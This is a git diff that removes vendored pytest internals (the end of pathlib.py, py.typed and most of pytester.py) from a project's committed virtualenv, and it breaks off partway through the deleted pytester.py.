module_spec is None or module_spec.origin is None: - return False - - return Path(module_spec.origin) == module_path - - -# Implement a special _is_same function on Windows which returns True if the two filenames -# compare equal, to circumvent os.path.samefile returning False for mounts in UNC (#7678). -if sys.platform.startswith("win"): - - def _is_same(f1: str, f2: str) -> bool: - return Path(f1) == Path(f2) or os.path.samefile(f1, f2) - -else: - - def _is_same(f1: str, f2: str) -> bool: - return os.path.samefile(f1, f2) - - -def module_name_from_path(path: Path, root: Path) -> str: - """ - Return a dotted module name based on the given path, anchored on root. - - For example: path="projects/src/tests/test_foo.py" and root="/projects", the - resulting module name will be "src.tests.test_foo". - """ - path = path.with_suffix("") - try: - relative_path = path.relative_to(root) - except ValueError: - # If we can't get a relative path to root, use the full path, except - # for the first part ("d:\\" or "/" depending on the platform, for example). - path_parts = path.parts[1:] - else: - # Use the parts for the relative path to the root path. - path_parts = relative_path.parts - - # Module name for packages do not contain the __init__ file, unless - # the `__init__.py` file is at the root. - if len(path_parts) >= 2 and path_parts[-1] == "__init__": - path_parts = path_parts[:-1] - - # Module names cannot contain ".", normalize them to "_". This prevents - # a directory having a "." in the name (".env.310" for example) causing extra intermediate modules. - # Also, important to replace "." at the start of paths, as those are considered relative imports. - path_parts = tuple(x.replace(".", "_") for x in path_parts) - - return ".".join(path_parts) - - -def insert_missing_modules(modules: dict[str, ModuleType], module_name: str) -> None: - """ - Used by ``import_path`` to create intermediate modules when using mode=importlib. - - When we want to import a module as "src.tests.test_foo" for example, we need - to create empty modules "src" and "src.tests" after inserting "src.tests.test_foo", - otherwise "src.tests.test_foo" is not importable by ``__import__``. - """ - module_parts = module_name.split(".") - while module_name: - parent_module_name, _, child_name = module_name.rpartition(".") - if parent_module_name: - parent_module = modules.get(parent_module_name) - if parent_module is None: - try: - # If sys.meta_path is empty, calling import_module will issue - # a warning and raise ModuleNotFoundError. To avoid the - # warning, we check sys.meta_path explicitly and raise the error - # ourselves to fall back to creating a dummy module. - if not sys.meta_path: - raise ModuleNotFoundError - parent_module = importlib.import_module(parent_module_name) - except ModuleNotFoundError: - parent_module = ModuleType( - module_name, - doc="Empty module created by pytest's importmode=importlib.", - ) - modules[parent_module_name] = parent_module - - # Add child attribute to the parent that can reference the child - # modules. - if not hasattr(parent_module, child_name): - setattr(parent_module, child_name, modules[module_name]) - - module_parts.pop(-1) - module_name = ".".join(module_parts) - - -def resolve_package_path(path: Path) -> Path | None: - """Return the Python package path by looking for the last - directory upwards which still contains an __init__.py. - - Returns None if it cannot be determined. - """ - result = None - for parent in itertools.chain((path,), path.parents): - if parent.is_dir(): - if not (parent / "__init__.py").is_file(): - break - if not parent.name.isidentifier(): - break - result = parent - return result - - -def resolve_pkg_root_and_module_name( - path: Path, *, consider_namespace_packages: bool = False -) -> tuple[Path, str]: - """ - Return the path to the directory of the root package that contains the - given Python file, and its module name: - - src/ - app/ - __init__.py - core/ - __init__.py - models.py - - Passing the full path to `models.py` will yield Path("src") and "app.core.models". - - If consider_namespace_packages is True, then we additionally check upwards in the hierarchy - for namespace packages: - - https://packaging.python.org/en/latest/guides/packaging-namespace-packages - - Raises CouldNotResolvePathError if the given path does not belong to a package (missing any __init__.py files). - """ - pkg_root: Path | None = None - pkg_path = resolve_package_path(path) - if pkg_path is not None: - pkg_root = pkg_path.parent - if consider_namespace_packages: - start = pkg_root if pkg_root is not None else path.parent - for candidate in (start, *start.parents): - module_name = compute_module_name(candidate, path) - if module_name and is_importable(module_name, path): - # Point the pkg_root to the root of the namespace package. - pkg_root = candidate - break - - if pkg_root is not None: - module_name = compute_module_name(pkg_root, path) - if module_name: - return pkg_root, module_name - - raise CouldNotResolvePathError(f"Could not resolve for {path}") - - -def is_importable(module_name: str, module_path: Path) -> bool: - """ - Return if the given module path could be imported normally by Python, akin to the user - entering the REPL and importing the corresponding module name directly, and corresponds - to the module_path specified. - - :param module_name: - Full module name that we want to check if is importable. - For example, "app.models". - - :param module_path: - Full path to the python module/package we want to check if is importable. - For example, "/projects/src/app/models.py". - """ - try: - # Note this is different from what we do in ``_import_module_using_spec``, where we explicitly search through - # sys.meta_path to be able to pass the path of the module that we want to import (``meta_importer.find_spec``). - # Using importlib.util.find_spec() is different, it gives the same results as trying to import - # the module normally in the REPL. - spec = importlib.util.find_spec(module_name) - except (ImportError, ValueError, ImportWarning): - return False - else: - return spec_matches_module_path(spec, module_path) - - -def compute_module_name(root: Path, module_path: Path) -> str | None: - """Compute a module name based on a path and a root anchor.""" - try: - path_without_suffix = module_path.with_suffix("") - except ValueError: - # Empty paths (such as Path.cwd()) might break meta_path hooks (like our own assertion rewriter). - return None - - try: - relative = path_without_suffix.relative_to(root) - except ValueError: # pragma: no cover - return None - names = list(relative.parts) - if not names: - return None - if names[-1] == "__init__": - names.pop() - return ".".join(names) - - -class CouldNotResolvePathError(Exception): - """Custom exception raised by resolve_pkg_root_and_module_name.""" - - -def scandir( - path: str | os.PathLike[str], - sort_key: Callable[[os.DirEntry[str]], object] = lambda entry: entry.name, -) -> list[os.DirEntry[str]]: - """Scan a directory recursively, in breadth-first order. - - The returned entries are sorted according to the given key. - The default is to sort by name. - """ - entries = [] - with os.scandir(path) as s: - # Skip entries with symlink loops and other brokenness, so the caller - # doesn't have to deal with it. - for entry in s: - try: - entry.is_file() - except OSError as err: - if _ignore_error(err): - continue - raise - entries.append(entry) - entries.sort(key=sort_key) # type: ignore[arg-type] - return entries - - -def visit( - path: str | os.PathLike[str], recurse: Callable[[os.DirEntry[str]], bool] -) -> Iterator[os.DirEntry[str]]: - """Walk a directory recursively, in breadth-first order. - - The `recurse` predicate determines whether a directory is recursed. - - Entries at each directory level are sorted. - """ - entries = scandir(path) - yield from entries - for entry in entries: - if entry.is_dir() and recurse(entry): - yield from visit(entry.path, recurse) - - -def absolutepath(path: str | os.PathLike[str]) -> Path: - """Convert a path to an absolute path using os.path.abspath. - - Prefer this over Path.resolve() (see #6523). - Prefer this over Path.absolute() (not public, doesn't normalize). - """ - return Path(os.path.abspath(path)) - - -def commonpath(path1: Path, path2: Path) -> Path | None: - """Return the common part shared with the other path, or None if there is - no common part. - - If one path is relative and one is absolute, returns None. - """ - try: - return Path(os.path.commonpath((str(path1), str(path2)))) - except ValueError: - return None - - -def bestrelpath(directory: Path, dest: Path) -> str: - """Return a string which is a relative path from directory to dest such - that directory/bestrelpath == dest. - - The paths must be either both absolute or both relative. - - If no such path can be determined, returns dest. - """ - assert isinstance(directory, Path) - assert isinstance(dest, Path) - if dest == directory: - return os.curdir - # Find the longest common directory. - base = commonpath(directory, dest) - # Can be the case on Windows for two absolute paths on different drives. - # Can be the case for two relative paths without common prefix. - # Can be the case for a relative path and an absolute path. - if not base: - return str(dest) - reldirectory = directory.relative_to(base) - reldest = dest.relative_to(base) - return os.path.join( - # Back from directory to base. - *([os.pardir] * len(reldirectory.parts)), - # Forward from base to dest. - *reldest.parts, - ) - - -def safe_exists(p: Path) -> bool: - """Like Path.exists(), but account for input arguments that might be too long (#11394).""" - try: - return p.exists() - except (ValueError, OSError): - # ValueError: stat: path too long for Windows - # OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect - return False diff --git a/backend/venv/Lib/site-packages/_pytest/py.typed b/backend/venv/Lib/site-packages/_pytest/py.typed deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/_pytest/pytester.py b/backend/venv/Lib/site-packages/_pytest/pytester.py deleted file mode 100644 index 5c6ce5e8..00000000 --- a/backend/venv/Lib/site-packages/_pytest/pytester.py +++ /dev/null @@ -1,1766 +0,0 @@ -# mypy: allow-untyped-defs -"""(Disabled by default) support for testing pytest and pytest plugins. - -PYTEST_DONT_REWRITE -""" - -from __future__ import annotations - -import collections.abc -import contextlib -from fnmatch import fnmatch -import gc -import importlib -from io import StringIO -import locale -import os -from pathlib import Path -import platform -import re -import shutil -import subprocess -import sys -import traceback -from typing import Any -from typing import Callable -from typing import Final -from typing import final -from typing import Generator -from typing import IO -from typing import Iterable -from typing import Literal -from typing import overload -from typing import Sequence -from typing import TextIO -from typing import TYPE_CHECKING -from weakref import WeakKeyDictionary - -from iniconfig import IniConfig -from iniconfig import SectionWrapper - -from _pytest import timing -from _pytest._code import Source -from _pytest.capture import _get_multicapture -from _pytest.compat import NOTSET -from _pytest.compat import NotSetType -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import main -from _pytest.config import PytestPluginManager -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import importorskip -from _pytest.outcomes import skip -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import make_numbered_dir -from _pytest.reports import CollectReport -from _pytest.reports import TestReport -from _pytest.tmpdir import TempPathFactory -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - import pexpect - - -pytest_plugins = ["pytester_assertions"] - - -IGNORE_PAM = [ # filenames added when obtaining details about the current user - "/var/lib/sss/mc/passwd" -] - - -def pytest_addoption(parser: Parser) -> None: - parser.addoption( - "--lsof", - action="store_true", - dest="lsof", - default=False, - help="Run FD checks if lsof is available", - ) - - parser.addoption( - "--runpytest", - default="inprocess", - dest="runpytest", - choices=("inprocess", "subprocess"), - help=( - "Run pytest sub runs in tests using an 'inprocess' " - "or 'subprocess' (python -m main) method" - ), - ) - - parser.addini( - "pytester_example_dir", help="Directory to take the pytester example files from" - ) - - -def pytest_configure(config: Config) -> None: - if config.getvalue("lsof"): - checker = LsofFdLeakChecker() - if checker.matching_platform(): - config.pluginmanager.register(checker) - - config.addinivalue_line( - "markers", - "pytester_example_path(*path_segments): join the given path " - "segments to `pytester_example_dir` for this test.", - ) - - -class LsofFdLeakChecker: - def get_open_files(self) -> list[tuple[str, str]]: - if sys.version_info >= (3, 11): - # New in Python 3.11, ignores utf-8 mode - encoding = locale.getencoding() - else: - encoding = locale.getpreferredencoding(False) - out = subprocess.run( - ("lsof", "-Ffn0", "-p", str(os.getpid())), - stdout=subprocess.PIPE, - stderr=subprocess.DEVNULL, - check=True, - text=True, - encoding=encoding, - ).stdout - - def isopen(line: str) -> bool: - return line.startswith("f") and ( - "deleted" not in line - and "mem" not in line - and "txt" not in line - and "cwd" not in line - ) - - open_files = [] - - for line in out.split("\n"): - if isopen(line): - fields = line.split("\0") - fd = fields[0][1:] - filename = fields[1][1:] - if filename in IGNORE_PAM: - continue - if filename.startswith("/"): - open_files.append((fd, filename)) - - return open_files - - def matching_platform(self) -> bool: - try: - subprocess.run(("lsof", "-v"), check=True) - except (OSError, subprocess.CalledProcessError): - return False - else: - return True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_runtest_protocol(self, item: Item) -> Generator[None, object, object]: - lines1 = self.get_open_files() - try: - return (yield) - finally: - if hasattr(sys, "pypy_version_info"): - gc.collect() - lines2 = self.get_open_files() - - new_fds = {t[0] for t in lines2} - {t[0] for t in lines1} - leaked_files = [t for t in lines2 if t[0] in new_fds] - if leaked_files: - error = [ - f"***** {len(leaked_files)} FD leakage detected", - *(str(f) for f in leaked_files), - "*** Before:", - *(str(f) for f in lines1), - "*** After:", - *(str(f) for f in lines2), - f"***** {len(leaked_files)} FD leakage detected", - "*** function {}:{}: {} ".format(*item.location), - "See issue #2366", - ] - item.warn(PytestWarning("\n".join(error))) - - -# used at least by pytest-xdist plugin - - -@fixture -def _pytest(request: FixtureRequest) -> PytestArg: - """Return a helper which offers a gethookrecorder(hook) method which - returns a HookRecorder instance which helps to make assertions about called - hooks.""" - return PytestArg(request) - - -class PytestArg: - def __init__(self, request: FixtureRequest) -> None: - self._request = request - - def gethookrecorder(self, hook) -> HookRecorder: - hookrecorder = HookRecorder(hook._pm) - self._request.addfinalizer(hookrecorder.finish_recording) - return hookrecorder - - -def get_public_names(values: Iterable[str]) -> list[str]: - """Only return names from iterator values without a leading underscore.""" - return [x for x in values if x[0] != "_"] - - -@final -class RecordedHookCall: - """A recorded call to a hook. - - The arguments to the hook call are set as attributes. - For example: - - .. code-block:: python - - calls = hook_recorder.getcalls("pytest_runtest_setup") - # Suppose pytest_runtest_setup was called once with `item=an_item`. - assert calls[0].item is an_item - """ - - def __init__(self, name: str, kwargs) -> None: - self.__dict__.update(kwargs) - self._name = name - - def __repr__(self) -> str: - d = self.__dict__.copy() - del d["_name"] - return f"" - - if TYPE_CHECKING: - # The class has undetermined attributes, this tells mypy about it. - def __getattr__(self, key: str): ... - - -@final -class HookRecorder: - """Record all hooks called in a plugin manager. - - Hook recorders are created by :class:`Pytester`. - - This wraps all the hook calls in the plugin manager, recording each call - before propagating the normal calls. - """ - - def __init__( - self, pluginmanager: PytestPluginManager, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - - self._pluginmanager = pluginmanager - self.calls: list[RecordedHookCall] = [] - self.ret: int | ExitCode | None = None - - def before(hook_name: str, hook_impls, kwargs) -> None: - self.calls.append(RecordedHookCall(hook_name, kwargs)) - - def after(outcome, hook_name: str, hook_impls, kwargs) -> None: - pass - - self._undo_wrapping = pluginmanager.add_hookcall_monitoring(before, after) - - def finish_recording(self) -> None: - self._undo_wrapping() - - def getcalls(self, names: str | Iterable[str]) -> list[RecordedHookCall]: - """Get all recorded calls to hooks with the given names (or name).""" - if isinstance(names, str): - names = names.split() - return [call for call in self.calls if call._name in names] - - def assert_contains(self, entries: Sequence[tuple[str, str]]) -> None: - __tracebackhide__ = True - i = 0 - entries = list(entries) - # Since Python 3.13, f_locals is not a dict, but eval requires a dict. - backlocals = dict(sys._getframe(1).f_locals) - while entries: - name, check = entries.pop(0) - for ind, call in enumerate(self.calls[i:]): - if call._name == name: - print("NAMEMATCH", name, call) - if eval(check, backlocals, call.__dict__): - print("CHECKERMATCH", repr(check), "->", call) - else: - print("NOCHECKERMATCH", repr(check), "-", call) - continue - i += ind + 1 - break - print("NONAMEMATCH", name, "with", call) - else: - fail(f"could not find {name!r} check {check!r}") - - def popcall(self, name: str) -> RecordedHookCall: - __tracebackhide__ = True - for i, call in enumerate(self.calls): - if call._name == name: - del self.calls[i] - return call - lines = [f"could not find call {name!r}, in:"] - lines.extend([f" {x}" for x in self.calls]) - fail("\n".join(lines)) - - def getcall(self, name: str) -> RecordedHookCall: - values = self.getcalls(name) - assert len(values) == 1, (name, values) - return values[0] - - # functionality for test reports - - @overload - def getreports( - self, - names: Literal["pytest_collectreport"], - ) -> Sequence[CollectReport]: ... - - @overload - def getreports( - self, - names: Literal["pytest_runtest_logreport"], - ) -> Sequence[TestReport]: ... - - @overload - def getreports( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: ... - - def getreports( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: - return [x.report for x in self.getcalls(names)] - - def matchreport( - self, - inamepart: str = "", - names: str | Iterable[str] = ( - "pytest_runtest_logreport", - "pytest_collectreport", - ), - when: str | None = None, - ) -> CollectReport | TestReport: - """Return a testreport whose dotted import path matches.""" - values = [] - for rep in self.getreports(names=names): - if not when and rep.when != "call" and rep.passed: - # setup/teardown passing reports - let's ignore those - continue - if when and rep.when != when: - continue - if not inamepart or inamepart in rep.nodeid.split("::"): - values.append(rep) - if not values: - raise ValueError( - f"could not find test report matching {inamepart!r}: " - "no test reports at all!" - ) - if len(values) > 1: - raise ValueError( - f"found 2 or more testreports matching {inamepart!r}: {values}" - ) - return values[0] - - @overload - def getfailures( - self, - names: Literal["pytest_collectreport"], - ) -> Sequence[CollectReport]: ... - - @overload - def getfailures( - self, - names: Literal["pytest_runtest_logreport"], - ) -> Sequence[TestReport]: ... - - @overload - def getfailures( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: ... - - def getfailures( - self, - names: str | Iterable[str] = ( - "pytest_collectreport", - "pytest_runtest_logreport", - ), - ) -> Sequence[CollectReport | TestReport]: - return [rep for rep in self.getreports(names) if rep.failed] - - def getfailedcollections(self) -> Sequence[CollectReport]: - return self.getfailures("pytest_collectreport") - - def listoutcomes( - self, - ) -> tuple[ - Sequence[TestReport], - Sequence[CollectReport | TestReport], - Sequence[CollectReport | TestReport], - ]: - passed = [] - skipped = [] - failed = [] - for rep in self.getreports( - ("pytest_collectreport", "pytest_runtest_logreport") - ): - if rep.passed: - if rep.when == "call": - assert isinstance(rep, TestReport) - passed.append(rep) - elif rep.skipped: - skipped.append(rep) - else: - assert rep.failed, f"Unexpected outcome: {rep!r}" - failed.append(rep) - return passed, skipped, failed - - def countoutcomes(self) -> list[int]: - return [len(x) for x in self.listoutcomes()] - - def assertoutcome(self, passed: int = 0, skipped: int = 0, failed: int = 0) -> None: - __tracebackhide__ = True - from _pytest.pytester_assertions import assertoutcome - - outcomes = self.listoutcomes() - assertoutcome( - outcomes, - passed=passed, - skipped=skipped, - failed=failed, - ) - - def clear(self) -> None: - self.calls[:] = [] - - -@fixture -def linecomp() -> LineComp: - """A :class: `LineComp` instance for checking that an input linearly - contains a sequence of strings.""" - return LineComp() - - -@fixture(name="LineMatcher") -def LineMatcher_fixture(request: FixtureRequest) -> type[LineMatcher]: - """A reference to the :class: `LineMatcher`. - - This is instantiable with a list of lines (without their trailing newlines). - This is useful for testing large texts, such as the output of commands. - """ - return LineMatcher - - -@fixture -def pytester( - request: FixtureRequest, tmp_path_factory: TempPathFactory, monkeypatch: MonkeyPatch -) -> Pytester: - """ - Facilities to write tests/configuration files, execute pytest in isolation, and match - against expected output, perfect for black-box testing of pytest plugins. - - It attempts to isolate the test run from external factors as much as possible, modifying - the current working directory to ``path`` and environment variables during initialization. - - It is particularly useful for testing plugins. It is similar to the :fixture:`tmp_path` - fixture but provides methods which aid in testing pytest itself. - """ - return Pytester(request, tmp_path_factory, monkeypatch, _ispytest=True) - - -@fixture -def _sys_snapshot() -> Generator[None, None, None]: - snappaths = SysPathsSnapshot() - snapmods = SysModulesSnapshot() - yield - snapmods.restore() - snappaths.restore() - - -@fixture -def _config_for_test() -> Generator[Config, None, None]: - from _pytest.config import get_config - - config = get_config() - yield config - config._ensure_unconfigure() # cleanup, e.g. capman closing tmpfiles. - - -# Regex to match the session duration string in the summary: "74.34s". -rex_session_duration = re.compile(r"\d+\.\d\ds") -# Regex to match all the counts and phrases in the summary line: "34 passed, 111 skipped". -rex_outcome = re.compile(r"(\d+) (\w+)") - - -@final -class RunResult: - """The result of running a command from :class:`~pytest.Pytester`.""" - - def __init__( - self, - ret: int | ExitCode, - outlines: list[str], - errlines: list[str], - duration: float, - ) -> None: - try: - self.ret: int | ExitCode = ExitCode(ret) - """The return value.""" - except ValueError: - self.ret = ret - self.outlines = outlines - """List of lines captured from stdout.""" - self.errlines = errlines - """List of lines captured from stderr.""" - self.stdout = LineMatcher(outlines) - """:class:`~pytest.LineMatcher` of stdout. - - Use e.g. :func:`str(stdout) ` to reconstruct stdout, or the commonly used - :func:`stdout.fnmatch_lines() ` method. - """ - self.stderr = LineMatcher(errlines) - """:class:`~pytest.LineMatcher` of stderr.""" - self.duration = duration - """Duration in seconds.""" - - def __repr__(self) -> str: - return ( - "" - % (self.ret, len(self.stdout.lines), len(self.stderr.lines), self.duration) - ) - - def parseoutcomes(self) -> dict[str, int]: - """Return a dictionary of outcome noun -> count from parsing the terminal - output that the test process produced. - - The returned nouns will always be in plural form:: - - ======= 1 failed, 1 passed, 1 warning, 1 error in 0.13s ==== - - Will return ``{"failed": 1, "passed": 1, "warnings": 1, "errors": 1}``. - """ - return self.parse_summary_nouns(self.outlines) - - @classmethod - def parse_summary_nouns(cls, lines) -> dict[str, int]: - """Extract the nouns from a pytest terminal summary line. - - It always returns the plural noun for consistency:: - - ======= 1 failed, 1 passed, 1 warning, 1 error in 0.13s ==== - - Will return ``{"failed": 1, "passed": 1, "warnings": 1, "errors": 1}``. - """ - for line in reversed(lines): - if rex_session_duration.search(line): - outcomes = rex_outcome.findall(line) - ret = {noun: int(count) for (count, noun) in outcomes} - break - else: - raise ValueError("Pytest terminal summary report not found") - - to_plural = { - "warning": "warnings", - "error": "errors", - } - return {to_plural.get(k, k): v for k, v in ret.items()} - - def assert_outcomes( - self, - passed: int = 0, - skipped: int = 0, - failed: int = 0, - errors: int = 0, - xpassed: int = 0, - xfailed: int = 0, - warnings: int | None = None, - deselected: int | None = None, - ) -> None: - """ - Assert that the specified outcomes appear with the respective - numbers (0 means it didn't occur) in the text output from a test run. - - ``warnings`` and ``deselected`` are only checked if not None. - """ - __tracebackhide__ = True - from _pytest.pytester_assertions import assert_outcomes - - outcomes = self.parseoutcomes() - assert_outcomes( - outcomes, - passed=passed, - skipped=skipped, - failed=failed, - errors=errors, - xpassed=xpassed, - xfailed=xfailed, - warnings=warnings, - deselected=deselected, - ) - - -class SysModulesSnapshot: - def __init__(self, preserve: Callable[[str], bool] | None = None) -> None: - self.__preserve = preserve - self.__saved = dict(sys.modules) - - def restore(self) -> None: - if self.__preserve: - self.__saved.update( - (k, m) for k, m in sys.modules.items() if self.__preserve(k) - ) - sys.modules.clear() - sys.modules.update(self.__saved) - - -class SysPathsSnapshot: - def __init__(self) -> None: - self.__saved = list(sys.path), list(sys.meta_path) - - def restore(self) -> None: - sys.path[:], sys.meta_path[:] = self.__saved - - -@final -class Pytester: - """ - Facilities to write tests/configuration files, execute pytest in isolation, and match - against expected output, perfect for black-box testing of pytest plugins. - - It attempts to isolate the test run from external factors as much as possible, modifying - the current working directory to :attr:`path` and environment variables during initialization. - """ - - __test__ = False - - CLOSE_STDIN: Final = NOTSET - - class TimeoutExpired(Exception): - pass - - def __init__( - self, - request: FixtureRequest, - tmp_path_factory: TempPathFactory, - monkeypatch: MonkeyPatch, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._request = request - self._mod_collections: WeakKeyDictionary[Collector, list[Item | Collector]] = ( - WeakKeyDictionary() - ) - if request.function: - name: str = request.function.__name__ - else: - name = request.node.name - self._name = name - self._path: Path = tmp_path_factory.mktemp(name, numbered=True) - #: A list of plugins to use with :py:meth:`parseconfig` and - #: :py:meth:`runpytest`. Initially this is an empty list but plugins can - #: be added to the list. The type of items to add to the list depends on - #: the method using them so refer to them for details. - self.plugins: list[str | _PluggyPlugin] = [] - self._sys_path_snapshot = SysPathsSnapshot() - self._sys_modules_snapshot = self.__take_sys_modules_snapshot() - self._request.addfinalizer(self._finalize) - self._method = self._request.config.getoption("--runpytest") - self._test_tmproot = tmp_path_factory.mktemp(f"tmp-{name}", numbered=True) - - self._monkeypatch = mp = monkeypatch - self.chdir() - mp.setenv("PYTEST_DEBUG_TEMPROOT", str(self._test_tmproot)) - # Ensure no unexpected caching via tox. - mp.delenv("TOX_ENV_DIR", raising=False) - # Discard outer pytest options. - mp.delenv("PYTEST_ADDOPTS", raising=False) - # Ensure no user config is used. - tmphome = str(self.path) - mp.setenv("HOME", tmphome) - mp.setenv("USERPROFILE", tmphome) - # Do not use colors for inner runs by default. - mp.setenv("PY_COLORS", "0") - - @property - def path(self) -> Path: - """Temporary directory path used to create files/run tests from, etc.""" - return self._path - - def __repr__(self) -> str: - return f"" - - def _finalize(self) -> None: - """ - Clean up global state artifacts. - - Some methods modify the global interpreter state and this tries to - clean this up. It does not remove the temporary directory however so - it can be looked at after the test run has finished. - """ - self._sys_modules_snapshot.restore() - self._sys_path_snapshot.restore() - - def __take_sys_modules_snapshot(self) -> SysModulesSnapshot: - # Some zope modules used by twisted-related tests keep internal state - # and can't be deleted; we had some trouble in the past with - # `zope.interface` for example. - # - # Preserve readline due to https://bugs.python.org/issue41033. - # pexpect issues a SIGWINCH. - def preserve_module(name): - return name.startswith(("zope", "readline")) - - return SysModulesSnapshot(preserve=preserve_module) - - def make_hook_recorder(self, pluginmanager: PytestPluginManager) -> HookRecorder: - """Create a new :class:`HookRecorder` for a :class:`PytestPluginManager`.""" - pluginmanager.reprec = reprec = HookRecorder(pluginmanager, _ispytest=True) # type: ignore[attr-defined] - self._request.addfinalizer(reprec.finish_recording) - return reprec - - def chdir(self) -> None: - """Cd into the temporary directory. - - This is done automatically upon instantiation. - """ - self._monkeypatch.chdir(self.path) - - def _makefile( - self, - ext: str, - lines: Sequence[Any | bytes], - files: dict[str, str], - encoding: str = "utf-8", - ) -> Path: - items = list(files.items()) - - if ext is None: - raise TypeError("ext must not be None") - - if ext and not ext.startswith("."): - raise ValueError( - f"pytester.makefile expects a file extension, try .{ext} instead of {ext}" - ) - - def to_text(s: Any | bytes) -> str: - return s.decode(encoding) if isinstance(s, bytes) else str(s) - - if lines: - source = "\n".join(to_text(x) for x in lines) - basename = self._name - items.insert(0, (basename, source)) - - ret = None - for basename, value in items: - p = self.path.joinpath(basename).with_suffix(ext) - p.parent.mkdir(parents=True, exist_ok=True) - source_ = Source(value) - source = "\n".join(to_text(line) for line in source_.lines) - p.write_text(source.strip(), encoding=encoding) - if ret is None: - ret = p - assert ret is not None - return ret - - def makefile(self, ext: str, *args: str, **kwargs: str) -> Path: - r"""Create new text file(s) in the test directory. - - :param ext: - The extension the file(s) should use, including the dot, e.g. `.py`. - :param args: - All args are treated as strings and joined using newlines. - The result is written as contents to the file. The name of the - file is based on the test function requesting this fixture. - :param kwargs: - Each keyword is the name of a file, while the value of it will - be written as contents of the file. - :returns: - The first created file. - - Examples: - - .. code-block:: python - - pytester.makefile(".txt", "line1", "line2") - - pytester.makefile(".ini", pytest="[pytest]\naddopts=-rs\n") - - To create binary files, use :meth:`pathlib.Path.write_bytes` directly: - - .. code-block:: python - - filename = pytester.path.joinpath("foo.bin") - filename.write_bytes(b"...") - """ - return self._makefile(ext, args, kwargs) - - def makeconftest(self, source: str) -> Path: - """Write a conftest.py file. - - :param source: The contents. - :returns: The conftest.py file. - """ - return self.makepyfile(conftest=source) - - def makeini(self, source: str) -> Path: - """Write a tox.ini file. - - :param source: The contents. - :returns: The tox.ini file. - """ - return self.makefile(".ini", tox=source) - - def getinicfg(self, source: str) -> SectionWrapper: - """Return the pytest section from the tox.ini config file.""" - p = self.makeini(source) - return IniConfig(str(p))["pytest"] - - def makepyprojecttoml(self, source: str) -> Path: - """Write a pyproject.toml file. - - :param source: The contents. - :returns: The pyproject.ini file. - - .. versionadded:: 6.0 - """ - return self.makefile(".toml", pyproject=source) - - def makepyfile(self, *args, **kwargs) -> Path: - r"""Shortcut for .makefile() with a .py extension. - - Defaults to the test name with a '.py' extension, e.g test_foobar.py, overwriting - existing files. - - Examples: - - .. code-block:: python - - def test_something(pytester): - # Initial file is created test_something.py. - pytester.makepyfile("foobar") - # To create multiple files, pass kwargs accordingly. - pytester.makepyfile(custom="foobar") - # At this point, both 'test_something.py' & 'custom.py' exist in the test directory. - - """ - return self._makefile(".py", args, kwargs) - - def maketxtfile(self, *args, **kwargs) -> Path: - r"""Shortcut for .makefile() with a .txt extension. - - Defaults to the test name with a '.txt' extension, e.g test_foobar.txt, overwriting - existing files. - - Examples: - - .. code-block:: python - - def test_something(pytester): - # Initial file is created test_something.txt. - pytester.maketxtfile("foobar") - # To create multiple files, pass kwargs accordingly. - pytester.maketxtfile(custom="foobar") - # At this point, both 'test_something.txt' & 'custom.txt' exist in the test directory. - - """ - return self._makefile(".txt", args, kwargs) - - def syspathinsert(self, path: str | os.PathLike[str] | None = None) -> None: - """Prepend a directory to sys.path, defaults to :attr:`path`. - - This is undone automatically when this object dies at the end of each - test. - - :param path: - The path. - """ - if path is None: - path = self.path - - self._monkeypatch.syspath_prepend(str(path)) - - def mkdir(self, name: str | os.PathLike[str]) -> Path: - """Create a new (sub)directory. - - :param name: - The name of the directory, relative to the pytester path. - :returns: - The created directory. - :rtype: pathlib.Path - """ - p = self.path / name - p.mkdir() - return p - - def mkpydir(self, name: str | os.PathLike[str]) -> Path: - """Create a new python package. - - This creates a (sub)directory with an empty ``__init__.py`` file so it - gets recognised as a Python package. - """ - p = self.path / name - p.mkdir() - p.joinpath("__init__.py").touch() - return p - - def copy_example(self, name: str | None = None) -> Path: - """Copy file from project's directory into the testdir. - - :param name: - The name of the file to copy. - :return: - Path to the copied directory (inside ``self.path``). - :rtype: pathlib.Path - """ - example_dir_ = self._request.config.getini("pytester_example_dir") - if example_dir_ is None: - raise ValueError("pytester_example_dir is unset, can't copy examples") - example_dir: Path = self._request.config.rootpath / example_dir_ - - for extra_element in self._request.node.iter_markers("pytester_example_path"): - assert extra_element.args - example_dir = example_dir.joinpath(*extra_element.args) - - if name is None: - func_name = self._name - maybe_dir = example_dir / func_name - maybe_file = example_dir / (func_name + ".py") - - if maybe_dir.is_dir(): - example_path = maybe_dir - elif maybe_file.is_file(): - example_path = maybe_file - else: - raise LookupError( - f"{func_name} can't be found as module or package in {example_dir}" - ) - else: - example_path = example_dir.joinpath(name) - - if example_path.is_dir() and not example_path.joinpath("__init__.py").is_file(): - shutil.copytree(example_path, self.path, symlinks=True, dirs_exist_ok=True) - return self.path - elif example_path.is_file(): - result = self.path.joinpath(example_path.name) - shutil.copy(example_path, result) - return result - else: - raise LookupError( - f'example "{example_path}" is not found as a file or directory' - ) - - def getnode(self, config: Config, arg: str | os.PathLike[str]) -> Collector | Item: - """Get the collection node of a file. - - :param config: - A pytest config. - See :py:meth:`parseconfig` and :py:meth:`parseconfigure` for creating it. - :param arg: - Path to the file. - :returns: - The node. - """ - session = Session.from_config(config) - assert "::" not in str(arg) - p = Path(os.path.abspath(arg)) - config.hook.pytest_sessionstart(session=session) - res = session.perform_collect([str(p)], genitems=False)[0] - 